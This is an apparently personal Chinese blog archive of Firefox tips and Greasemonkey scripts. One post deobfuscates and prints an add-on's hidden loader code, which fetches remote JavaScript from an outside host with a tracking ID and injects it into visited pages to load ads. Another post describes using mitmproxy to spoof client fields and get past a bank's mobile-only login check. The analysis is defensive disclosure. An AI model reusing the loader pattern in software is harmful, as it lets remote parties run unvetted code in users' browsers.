10
25
2013
14

php.net 被攻破,Google Chrome 浏览器竟浑然不知

人们都说 Google Chrome 浏览器安全,可是——

昨日,有网友告诉我 php.net 被挂马了。于是我在火狐浏览器中访问,果然得到了警告:

php.net blocked by Firefox

再去 Google 搜索一下,果然也被标记上了:

php.net blocked by Google Search

直接点击搜索结果会得到 Google 的警告:

php.net blocked by Google

但是,Google Chrome 浏览器访问竟然没有任何提示

今天,这个警告已经移除了。php.net 官方发布了一些消息,证实它确实被攻破了。为了以防万一,他们吊销了 php.net 所使用的 SSL 证书。我于是尝试使用火狐访问使用了 SSL 的子站,比如这个 https://wiki.php.net/,火狐很明确地告诉我,它的证书已经被废弃了:

php.net SSL certificate revoked error

但是,Google Chrome 浏览器访问依然没有任何提示,表示安全的小绿锁依然鲜亮。

难道是 Google 认为 Google Chrome 浏览器本身已经足够安全,不仅能抵御任何它能检测出来的恶意网页,而且能在证书已被吊销的情况下判断出网页是否被篡改?

php.net with revoked certificate accepted by Google Chrome

注:以上均为浏览器默认安全配置,我没有手动修改任何安全相关的选项。

更新:在 Google Chrome 的「设置」中,点击「显示高级设置…」,往后滚,找到「HTTPS/SSL」,把「检查服务器证书吊销状态」前边的框勾上,Google Chrome 就也会报告证书不可信了。

再次更新:通过 GoAgent 访问,没有收到任何关于服务器证书已经失效的提示。证实了我之前关于通过 GoAgent 访问 HTTPS 站点会降低安全性的猜测。


感谢 Eleven.i386 提供了部分截图。

10
17
2013
8

订阅至此收取点,使用 InoReader 阅读器

Google 阅读器死掉好久了,火狐却依旧惦记着它:

火狐,你看这样可好?

配置方法:打开about:config,查找并修改以下选项值:


2013年11月11日更新:原来 InoReader(以及火狐)支持直接添加为 RSS 阅读器。在 InoReader 的「用户偏好设置」里,「附加功能」选项卡下,滚动到最后有一个「点按这里将 InoReader 作为订阅源阅读器添加到 Firefox」——

 

其对应的代码为:

function add_ff_handler(){navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",proto+"://www.inoreader.com/?add_feed=%s","InoReader");}
Category: 火狐 | Tags: rss 火狐
10
12
2013
24

GM 脚本:在 Disqus 中提示需要登录

Disqus 越来越受欢迎,然而,非 Disqus 用户评论越来越艰难

一开始,和 WordPress 一样,名字、电邮、网站。想要新评论通知?好呀,使用 Facebook、Twitter 或者 Google+ 登录下就好。

后来,「Twitter 用户,创建个 Disqus 帐号吧!」不想要 Disqus 帐号,那就不要登陆了,也甭想推广自己的博客,填上电邮地址显示个头像吧。当然,为了迫使你们登陆,名字和电邮信息也不像一般博客是记住的。下次继续填,继续勾选「以访客身份发布」。

现在,花了不少时间和心思写完很不错的评论,双击填名字的文本框填名字时,却经常发现刚展开的部分里那个「以访客身份发布」复选框没有了。「对不起,必须登录才能在此博客留言哦亲。」Holy shhhhhhhhhhhhhit!

此 GreaseMonkey 脚本为防止最后一种情况的发生,在你动手写下评论的时候明确告诉你不登录你的评论是发不出去的

不过,由于我现在取不到自己的 Disqus 帐号密码,所以不确定登录 Disqus 帐号之后这个脚本能否正确检测到。欢迎反馈!

点击安装

脚本全文如下:

// ==UserScript==
// @name        Disqus login required reminder
// @namespace   http://lilydjwg.is-programmer.com/
// @description Remind you if you can't post your comments because you aren't logged in
// @include     http://disqus.com/embed/comments/*
// @include     https://disqus.com/embed/comments/*
// @version     1
// ==/UserScript==

var check = function(){
  var el = document.querySelector('input[name="author-guest"]');
  if(!el){
    setTimeout(check, 100, false);
    return;
  }
  if(el.style.display == 'none'){
    console.log("login required");
    var msg = document.getElementsByClassName('placeholder')[0];
    msg.textContent = '需要登录 / Login Required!';
    msg.parentNode.addEventListener('blur', function(){
      var msg = document.getElementsByClassName('placeholder')[0];
      msg.textContent = '需要登录 / Login Required!';
    });
  }
};

setTimeout(check, 100, false);

点击安装


附:我始终认为,不管登陆评论能给用户和自己带来多大的好处,只要文章允许评论,来访者应当能够以最小成本发表评论并且署名。也就是,不需要注册,不需要登录,你就可以评论。最好支持 Gravatar 头像,最好支持链接到自己的网站,最好支持被回复时 Email 提醒。实际上本博客非登录用户需要填写验证码我已经很不爽了,只是 Chito 这个博客程序提供的另一种反垃圾策略——使用 Akismet——我这边已经坏掉了。

所以我越来越敬佩 WordPress。

Category: 火狐 | Tags: 博客 火狐 网页 GreaseMonkey
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

6
27
2013
10

使用 SQLite3 的第三方扩展来修改火狐历史记录中的 URL

在火狐 17 以前,我可以这样子访问我本地的 Python 文档的:

jar:file:///home/lilydjwg/docs/Python/python.zip!/index.html

访问的实际上是一个 zip 文件中的内容。网页这种纯文本的东西压缩率高,35M 的 Python 3.3 文档,压缩后只有 7.1M。一来节省磁盘空间(我的 /home 分区己用 98% 了 TwT),二来读取快。

可是,自从火狐 17 开始,虽然 jar: 协议依旧支持,但是似乎其中的部分或者全部 JavaScript 脚本不会被执行。最明显的是,Python 这种用 Sphinx 制作的文档的搜索功能没了!

在拒绝升级火狐很长一段时间之后,Arch 把火狐 16 要用的库文件升级了……于是只好换回未压缩的一大堆文件。可问题是,我以前在火狐地址栏输入re就有 Python 正则表达式模块的文档的补全、输入py m就有 Python 标准库模块列表的补全,地址转换后,这些历史记录里的地址就全失效啦。

现在想想,其实我可以使用 Redirector 插件搞定的。但当时没想到,也是想更根本地解决问题,便直接修改火狐的地址记录数据库了。

此数据库是 SQLite3 数据库,位于火狐配置目录下的places.sqlite3文件中。moz_places表中记录了历史记录和书签中的项目的 URL 地址,只修改它就可以了。但问题是,这不像我当初 MediaWiki URL 路径中去掉index.php那样,用replace函数就可以搞定:

UPDATE OR REPLACE moz_places SET url = REPLACE(url, '/index.php', '') WHERE url LIKE 'http://localhost/wiki/index.php/%';

我需要正则表达式

于是找到了这个 glib_replace 模块,支持使用 glib 的正则表达式来进行替换。下回来编译成 .so 文件后这样子用:

SELECT load_extension('./glib_replace.so');
UPDATE OR REPLACE moz_places SET url = regex_replace('^jar:((?:.(?![^/]+\.zip!))+)(/[^/]+)\.zip!(.*)$', url, '\1\2\3') WHERE url LIKE 'jar:file:///home/lilydjwg/docs/Python/python%'; 

跑完就好啦!

PS: 如果你的 URL 中有 % 字符,记得在 like 操作符参数中转义成 %% 哦~

参考链接

Category: 火狐 | Tags: 正则表达式 火狐 sqlite3
8
2
2012
14

GM 脚本:桌面浏览器登录招商银行手机版,及 mitmproxy 的初次使用

招商银行网银需要控件,只支持 Windows 和 Mac。但是手机版不需要安装任何软件可直接登录。通过桌面浏览器访问https://mobile.cmbchina.com/MobileHtml/Login/LoginA.aspx可以看到登录界面,但登录时被拒绝,弹出警告「为了您的资产安全,请用手机访问手机银行!」。更改 UserAgent 失败。通过 Firebug 发现其 POST 数据中包含从 JavaScript 取到的navigator.UserAgentscreen.widthscreen.heightnavigator.platform的值,以 XML 发送给服务器。于是尝试修改之。

这次使用 privoxy 不行了,因为是 HTTPS 加密连接,privoxy 看不到内容。于是用上了前不久才发现的工具mitmproxy,一个支持 SSL 的中间人代理,并支持交互、命令行和脚本化查看、编辑功能。在看了下请求数据后,按i输入要中断的请求的模式-u LoginA,在请求 URL 包含LoginA字样时中断以进行人工编辑。使用j键移动到停下来的橙色请求上:

中断浏览器请求

按回车显示详细信息,按e进行编辑,f选择编辑表单域,编辑完成后退回到请求列表界面,按a继续,再按a接受响应信息。

编辑POST表单

经过多次 Google 和编辑尝试,招行终于不再要求我使用手机访问了。不过很显示,我不能每次登录都使用 mitmproxy 手工编辑对不?于是写了个 GreaseMonkey 脚本。

此脚本用到了unsafeWindow,也就是页面本身中的那个window对象,而不是被GreaseMonkey wrap 过的。这样才能修改页面中定义的函数。注意据说这样做有安全风险。详见 GreaseMonkey Wiki

点击此处安装此脚本早已失效

Category: 火狐 | Tags: GreaseMonkey 火狐 mitmproxy
7
29
2012
1

Revert new site identity feature and show favicon in urlbar for Firefox 14 & 15

(中文文章请见此处。)

If a user can be cheated by a site icon, the user can still be cheated even  when you remove that icon.

For the patch for Firefox 14, click here; for the omni.ja file, check this. This includes the long-lost feature that double-clicking on the space in a tab group will open a new tab.

For Firefox 15 patch.The omni.ja file is at the same location.

For Firefox 16 patch.The omni.ja file is at the same location.

Category: 火狐 | Tags: 火狐
7
29
2012
18

调教火狐14&15:地址栏显示网页图标,以及总结

好吧,我确认 Mozilla 已经脑残了,各种我喜欢的特性正在被去除,而我不喜欢的特性正在从 Google Chrome 抄袭过来。

火狐14开始,不再在地址栏显示网站图标了。Mozilla 说这样更安全,可我觉得,对于网站弄个挂锁图标就可以骗过的用户,地址栏图标去掉了他们依然会中招。而标签栏上的图标,我只用来识别标签页。地址栏图标的优势在于,不管标签页在哪里,它的位置总是固定的,用户不需要去判断当前标签页在哪里。于是我费了好久,终于通过查询火狐的源码库把这个特性加回来了。要补丁的请点击此处,我也提供打包好的 omni.ja 文件GFW认证。其中包含了自火狐7以来失去的双击标签页组创建新标签页的修改。

另外,火狐14地址栏默认自动填充到域名。可是我要域名干什么呢——我要访问的是页面!谁没事老去看人家网站的首页啊,当 RSS 不存在似的……好在我们还有个选项:browser.urlbar.autoFill。把它设置成false就可以了。


接下来,让我们怀念一下那些已经不再默认或者已经去除的特性(链接为找回该特性的办法)——

2012年8月30日更新:针对火狐15的补丁omni.ja文件地址不变。

2012年10月16日更新:针对火狐16的补丁omni.ja文件地址不变。

2013年4月16日更新:针对火狐20的补丁以及omni.ja文件地址在上述 Wuala 网盘地址中。

2013年11月27日更新:对于火狐 21 及以后,参见这里通过 userChrome 脚本的实现。

Category: 火狐 | Tags: 火狐
6
17
2012
13

彻底关闭火狐13新建标签页的缩略图导航

我一直在反对新版火狐某些特性。火狐13在新建标签页时添加了和 Opera、Google Chrome 一样的缩略图导航,这个对我一点用处也没有,因此也得干掉。

我并不满足于单纯地点击右上角那个小图标,因为这样之后,在打开新标签页时,我还是能看到 Status-4-Evar 显示于地址栏的进度条一闪而过。虽然加载新标签页的速度依然远快于 IE8,但是我不会轻易满足的。打开 about:config 页面,搜索「newtab」,我找到了这么一项:

browser.newtab.url,默认值是about:newtab。果断将其改成about:blank,恢复之前的空白页。

2012年6月27日更新:根据这篇文章,如果要禁止火狐在后台生成缩略图,还需要将选项browser.newtabpage.enabled置为false。(感谢巴蛮子指出。)

Category: 火狐 | Tags: 火狐
3
3
2012
6

GM 脚本:github 默认下载格式改为 gzip

不知道为什么,新版 github 在项目首页上只提供 zip 归档格式的下载,要下载 gzip 包还需要点击 download 到新页面去。可是我就是不喜欢 zip 格式嘛——

// ==UserScript==
// @name           github 下载默认 gzip 格式
// @namespace      http://lilydjwg.is-programmer.com/ 
// @description    把默认的 zip 下载按键改成 gzip 的
// @include        https://github.com/*
// ==/UserScript==
 
var dl = document.querySelector('.btn-download');
if(dl){
  dl.title = dl.title.replace('zip', 'gzip')
  dl.href = dl.href.replace('/zipball/', '/tarball/');
  var icon = dl.querySelector('.icon');
  if(icon){
    icon.nextSibling.textContent = 'GZIP';
  }
}
Category: 火狐 | Tags: GreaseMonkey 火狐 linux github

部分静态文件存储由又拍云存储提供。 | Theme: Aeros 2.0 by TheBuckmaker.com